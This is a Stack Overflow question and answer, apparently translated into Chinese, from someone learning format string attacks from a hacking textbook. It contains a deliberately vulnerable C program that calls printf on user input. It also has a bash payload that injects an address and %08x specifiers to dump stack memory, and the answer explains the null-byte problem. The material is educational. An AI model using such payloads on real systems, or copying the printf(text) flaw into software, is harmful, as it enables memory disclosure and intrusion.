c - 如何在c中输入/x00内存地址?

标签 c linux memory

我正在从我的书 Hacking : Art of Exploitation 学习格式字符串攻击。 我有这个小程序,这是代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
   char text[1024];
   static int test_val = -72;

   if(argc < 2) {
      printf("Usage: %s <text to print>\n", argv[0]);
      exit(0);
   }
   strcpy(text, argv[1]);

   printf("The right way to print user-controlled input:\n");
   printf("%s", text);


   printf("\nThe wrong way to print user-controlled input:\n");
   printf(text);

   printf("\n");

   // Debug output
   printf("[*] test_val @ 0x%016x = %d 0x%08x\n", &test_val, test_val, test_val);

   exit(0);
}

我想在我的程序中输入地址并打印它。地址是 0x00600b98 因为我输入的是小端字节序 "\x98\x0b\x60\x00"

这是我的 bash 代码: ./fmt_vuln $(python -c 'print "\x98\x0b\x60\x00"')%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.

但问题是,第一个地址 (\x00) 变为空并且没有输入到我的地址中,当打印内存时它变为 25600b98。所以我的问题是,为什么会出现这个问题以及如何输入地址 00 ?

这是输出:

The right way to print user-controlled input:
�
 `%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
The wrong way to print user-controlled input:
�
 `f7ff5000.f7dd7970.f7b128c0.f7fd8700.0000002b.ffffe3b8.f7ddb72d.25600b98.
[*] test_val @ 0x0000000000600b98 = -72 0xffffffb8

最佳答案

argv[1] 指向内容为 "\x98\x0b\x60\x00" 的字符数组。请注意这是 5 个字节:4 加上一个空字符。

下面的代码只复制直到到达一个空字符,这导致只有 4 个字节被复制,因为 argv[1][3] 是一个空字符。

strcpy(text, argv[1]);

建议添加可选的第二个参数并使用指示长度的附加参数调用程序。

size_t size = 0;
if (argc > 2) {
  long i = atol(argv[2]);
  if (i >= 0 && i < SIZE_MAX) {
    size = (size_t) i;
  }
else {
  size = strlen(argv[1]) + 1;
}
// strcpy(text, argv[1]);
memcpy(text, argv[1], size);

请注意,以下代码仍将只打印前 3 个字符

printf("%s", text);
printf(text); // UB if it contains '%'

顺便说一句:建议在 printf(text); 之前进行调试输出并修复其不匹配的格式

// printf("[*] test_val @ 0x%016x = %d 0x%08x\n", &test_val, test_val, test_val);
printf("[*] test_val @ 0x%016x = %d 0x%08x\n", 
    (unsigned) &test_val, test_val, (unsigned) test_val);
// or
printf("[*] test_val @ %p = %d 0x%08x\n", 
    (void*) &test_val, test_val, (unsigned) test_val);

关于c - 如何在c中输入/x00内存地址?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39014742/

相关文章:

C:拆分整数并将其转换为 ASCII

C - 如何将 int 转换为 uint8_t?

sql - 通过linux使用mysqldump导出时将数据库名称添加到sql文件中

ios - 核心数据导入 - 不释放内存

c - openSSL 示例中的 SSL 接受错误

c - 一次读取一行字符

linux - 下载 tar.gz 包时不支持的协议(protocol)

.net - DotNet 似乎允许两个进程打开同一个端口?

c++ - 当vector过大时如何解决C++中内存不足的问题?

c++ - 是在堆上自动创建的特征矩阵吗?